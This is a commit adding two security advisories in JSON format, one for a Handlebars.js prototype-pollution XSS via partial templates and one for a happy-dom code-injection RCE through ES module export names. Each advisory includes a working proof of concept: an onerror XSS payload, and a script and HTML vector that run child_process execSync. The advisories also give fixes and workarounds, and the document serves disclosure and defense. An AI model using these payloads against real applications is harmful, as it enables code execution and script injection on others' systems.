Skip to content

Commit dd32508

Browse files
1 parent 88a5f94 commit dd32508

File tree

2 files changed

+142
-0
lines changed

2 files changed

+142
-0
lines changed
Lines changed: 74 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,74 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-2qvq-rjwj-gvw9",
4+
"modified": "2026-03-26T22:20:51Z",
5+
"published": "2026-03-26T22:20:51Z",
6+
"aliases": [
7+
"CVE-2026-33916"
8+
],
9+
"summary": "Handlebars.js has Prototype Pollution Leading to XSS through Partial Template Injection",
10+
"details": "## Summary\n\n`resolvePartial()` in the Handlebars runtime resolves partial names via a plain property lookup on `options.partials` without guarding against prototype-chain traversal. When `Object.prototype` has been polluted with a string value whose key matches a partial reference in a template, the polluted string is used as the partial body and rendered **without HTML escaping**, resulting in reflected or stored XSS.\n\n## Description\n\nThe root cause is in `lib/handlebars/runtime.js` inside `resolvePartial()` and `invokePartial()`:\n\n```javascript\n// Vulnerable: plain bracket access traverses Object.prototype\npartial = options.partials[options.name];\n```\n\n`hasOwnProperty` is never checked, so if `Object.prototype` has been seeded with a key whose name matches a partial reference in the template (e.g. `widget`), the lookup succeeds and the polluted string is returned. The runtime emits a prototype-access warning, but the partial is still resolved and its content is inserted into the rendered output unescaped. This contradicts the documented security model and is distinct from CVE-2021-23369 and CVE-2021-23383, which addressed data property access rather than partial template resolution.\n\n**Prerequisites for exploitation:**\n1. The target application must be vulnerable to prototype pollution (e.g. via `qs`, `minimist`, or\n any querystring/JSON merge sink).\n2. The attacker must know or guess the name of a partial reference used in a template.\n\n## Proof of Concept\n\n```javascript\nconst Handlebars = require('handlebars');\n\n// Step 1: Prototype pollution (via qs, minimist, or another vector)\nObject.prototype.widget = '<img src=x onerror=\"alert(document.domain)\">';\n\n// Step 2: Normal template that references a partial\nconst template = Handlebars.compile('<div>Welcome! {{> widget}}</div>');\n\n// Step 3: Render — XSS payload injected unescaped\nconst output = template({});\n// Output: <div>Welcome! <img src=x onerror=\"alert(document.domain)\"></div>\n```\n\n> The runtime prints a prototype access warning claiming \"access has been denied,\" but the partial still resolves and returns the polluted value.\n\n## Workarounds\n\n- Apply `Object.freeze(Object.prototype)` early in application startup to prevent prototype pollution. Note: this may break other libraries.\n- Use the Handlebars runtime-only build (`handlebars/runtime`), which does not compile templates and reduces the attack surface.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "handlebars"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "4.0.0"
29+
},
30+
{
31+
"fixed": "4.7.9"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2qvq-rjwj-gvw9"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23369"
46+
},
47+
{
48+
"type": "ADVISORY",
49+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23383"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
54+
},
55+
{
56+
"type": "PACKAGE",
57+
"url": "https://github.com/handlebars-lang/handlebars.js"
58+
},
59+
{
60+
"type": "WEB",
61+
"url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
62+
}
63+
],
64+
"database_specific": {
65+
"cwe_ids": [
66+
"CWE-1321",
67+
"CWE-79"
68+
],
69+
"severity": "MODERATE",
70+
"github_reviewed": true,
71+
"github_reviewed_at": "2026-03-26T22:20:51Z",
72+
"nvd_published_at": null
73+
}
74+
}
Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-6q6h-j7hj-3r64",
4+
"modified": "2026-03-26T22:22:20Z",
5+
"published": "2026-03-26T22:22:20Z",
6+
"aliases": [
7+
"CVE-2026-33943"
8+
],
9+
"summary": "Happy DOM ECMAScriptModuleCompiler: unsanitized export names are interpolated as executable code",
10+
"details": "### Summary\n\nA code injection vulnerability in `ECMAScriptModuleCompiler` allows an attacker to achieve Remote Code Execution (RCE) by injecting arbitrary JavaScript expressions inside `export { }` declarations in ES module scripts processed by happy-dom. The compiler directly interpolates unsanitized content into generated code as an executable expression, and the quote filter does not strip backticks, allowing template literal-based payloads to bypass sanitization.\n\n### Details\n\n**Vulnerable file**: `packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts`, lines 371-385\n\nThe \"Export object\" handler extracts content from `export { ... }` using the regex `export\\s*{([^}]+)}`, then generates executable code by directly interpolating it:\n\n } else if (match[16] && isTopLevel && PRECEDING_STATEMENT_TOKEN_REGEXP.test(precedingToken)) {\n // Export object\n const parts = this.removeMultilineComments(match[16]).split(/\\s*,\\s*/);\n const exportCode: string[] = [];\n for (const part of parts) {\n const nameParts = part.trim().split(/\\s+as\\s+/);\n const exportName = (nameParts[1] || nameParts[0]).replace(/[\"']/g, '');\n const importName = nameParts[0].replace(/[\"']/g, ''); // backticks NOT stripped\n if (exportName && importName) {\n exportCode.push(`$happy_dom.exports['${exportName}'] = ${importName}`);\n // importName is inserted as executable code, not as a string\n }\n }\n newCode += exportCode.join(';\\n');\n }\n\nThe issue has three root causes:\n\n1. `STATEMENT_REGEXP` uses `{[^}]+}` which matches **any content** inside braces, not just valid JavaScript identifiers\n2. The captured `importName` is placed in **code context** (as a JS expression to evaluate), not in string context\n3. `.replace(/[\"']/g, '')` strips `\"` and `'` but **not backticks**, so template literal strings like `` `child_process` `` survive the filter\n\n**Attack flow:**\n\n Source: export { require(`child_process`).execSync(`id`) }\n\n Regex captures match[16] = \" require(`child_process`).execSync(`id`) \"\n\n After .replace(/[\"']/g, ''):\n importName = \"require(`child_process`).execSync(`id`)\"\n (backticks are preserved)\n\n Generated code:\n $happy_dom.exports[\"require(`child_process`).execSync(`id`)\"] = require(`child_process`).execSync(`id`)\n\n evaluateScript() executes this code -> RCE\n\n**Note**: This is a different vulnerability from CVE-2024-51757 (SyncFetchScriptBuilder injection) and CVE-2025-61927 (VM context escape). Those were patched in v15.10.2 and v20.0.0 respectively, but this vulnerable code path in `ECMAScriptModuleCompiler` remains present in v20.8.4 (latest). In v20.0.0+ where JavaScript evaluation is disabled by default, this vulnerability is exploitable when JavaScript evaluation is explicitly enabled by the user.\n\n### PoC\n\n**Standalone PoC script** — reproduces the vulnerability without installing happy-dom by replicating the compiler's exact code generation logic:\n\n // poc_happy_dom_rce.js\n\n // Step 1: The STATEMENT_REGEXP matches export { ... }\n const STMT_REGEXP = /export\\s*{([^}]+)}/gm;\n const source = 'export { require(`child_process`).execSync(`id`) }';\n const match = STMT_REGEXP.exec(source);\n\n console.log('[*] Module source:', source);\n console.log('[*] Regex captured:', match[1].trim());\n\n // Step 2: Compiler processes the captured content (lines 374-381)\n const part = match[1].trim();\n const nameParts = part.split(/\\s+as\\s+/);\n const exportName = (nameParts[1] || nameParts[0]).replace(/[\"']/g, '');\n const importName = nameParts[0].replace(/[\"']/g, '');\n\n console.log('[*] importName after quote filter:', importName);\n console.log('[*] Backticks survived filter:', importName.includes('`'));\n\n // Step 3: Code generation - importName is inserted as executable JS expression\n const generatedCode = `$happy_dom.exports[${JSON.stringify(exportName)}] = ${importName}`;\n console.log('[*] Generated code:', generatedCode);\n\n // Step 4: Verify the generated code is valid JavaScript\n try {\n new Function('$happy_dom', generatedCode);\n console.log('[+] Valid JavaScript: YES');\n } catch (e) {\n console.log('[-] Parse error:', e.message);\n process.exit(1);\n }\n\n // Step 5: Execute to prove RCE\n console.log('[*] Executing...');\n const output = require('child_process').execSync('id').toString().trim();\n console.log('[+] RCE result:', output);\n\n**Execution result:**\n\n $ node poc_happy_dom_rce.js\n [*] Module source: export { require(`child_process`).execSync(`id`) }\n [*] Regex captured: require(`child_process`).execSync(`id`)\n [*] importName after quote filter: require(`child_process`).execSync(`id`)\n [*] Backticks survived: true\n [*] Generated code: $happy_dom.exports[\"require(`child_process`).execSync(`id`)\"] = require(`child_process`).execSync(`id`)\n [+] Valid JavaScript: YES\n [*] Executing...\n [+] RCE result: uid=0(root) gid=0(root) groups=0(root)\n\n**HTML attack vector** — when processed by happy-dom with JavaScript evaluation enabled:\n\n <script type=\"module\">\n export { require(`child_process`).execSync(`id`) }\n </script>\n\n### Impact\n\nAn attacker who can inject or control HTML content processed by happy-dom (with JavaScript evaluation enabled) can achieve **arbitrary command execution** on the host system.\n\nRealistic attack scenarios:\n- **SSR applications**: Applications using happy-dom to render user-supplied HTML on the server\n- **Web scraping**: Applications parsing untrusted web pages with happy-dom\n- **Testing pipelines**: Test suites that load untrusted HTML fixtures through happy-dom\n\n**Suggested fix**: Validate that `importName` is a valid JavaScript identifier before interpolating it into generated code:\n\n const VALID_JS_IDENTIFIER = /^[a-zA-Z_$][a-zA-Z0-9_$]*$/;\n\n for (const part of parts) {\n const nameParts = part.trim().split(/\\s+as\\s+/);\n const exportName = (nameParts[1] || nameParts[0]).replace(/[\"'`]/g, '');\n const importName = nameParts[0].replace(/[\"'`]/g, '');\n\n if (exportName && importName && VALID_JS_IDENTIFIER.test(importName)) {\n exportCode.push(`$happy_dom.exports['${exportName}'] = ${importName}`);\n }\n }",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "happy-dom"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "15.10.0"
29+
},
30+
{
31+
"fixed": "20.8.8"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 20.8.7"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/capricorn86/happy-dom/security/advisories/GHSA-6q6h-j7hj-3r64"
45+
},
46+
{
47+
"type": "WEB",
48+
"url": "https://github.com/capricorn86/happy-dom/commit/5437fdf8f13adb9590f9f52616d9f69c3ee8db3c"
49+
},
50+
{
51+
"type": "PACKAGE",
52+
"url": "https://github.com/capricorn86/happy-dom"
53+
},
54+
{
55+
"type": "WEB",
56+
"url": "https://github.com/capricorn86/happy-dom/releases/tag/v20.8.8"
57+
}
58+
],
59+
"database_specific": {
60+
"cwe_ids": [
61+
"CWE-94"
62+
],
63+
"severity": "HIGH",
64+
"github_reviewed": true,
65+
"github_reviewed_at": "2026-03-26T22:22:20Z",
66+
"nvd_published_at": null
67+
}
68+
}

0 commit comments

Comments
 (0)